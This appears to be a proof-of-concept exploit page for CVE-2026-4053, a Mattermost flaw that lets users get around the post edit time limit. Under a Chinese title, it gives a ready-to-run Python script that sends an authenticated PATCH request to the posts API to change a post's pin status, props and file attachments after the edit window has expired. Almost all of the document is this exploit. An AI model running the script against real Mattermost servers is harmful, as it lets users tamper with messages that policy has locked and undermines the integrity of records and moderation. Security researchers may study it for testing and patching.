CVE-2026-4053 Mattermost编辑限制绕过漏洞

import requests # Target Mattermost instance URL TARGET_URL = "https://mattermost.example.com" API_ENDPOINT = f"{TARGET_URL}/api/v4/posts/{{post_id}}" # Authenticated session token AUTH_TOKEN = "YOUR_SESSION_TOKEN" headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } # Payload to bypass PostEditTimeLimit # Modifying metadata (props, file_ids, pin status) instead of message payload = { "is_pinned": True, # Change pin status "props": { "custom_key": "bypassed_value" # Modify props }, "file_ids": ["new_file_id"] # Modify file attachments } def exploit(post_id): """ Attempts to update post metadata bypassing the edit time limit. """ print(f"[*] Attempting to exploit post {post_id}...") response = requests.patch(API_ENDPOINT.format(post_id=post_id), json=payload, headers=headers) if response.status_code == 200: print(f"[+] Successfully modified post {post_id} after edit window expired.") print(f"Response: {response.json()}") else: print(f"[-] Failed to modify post. Status: {response.status_code}") print(f"Response: {response.text}") # Usage example: # exploit("POST_ID_HERE")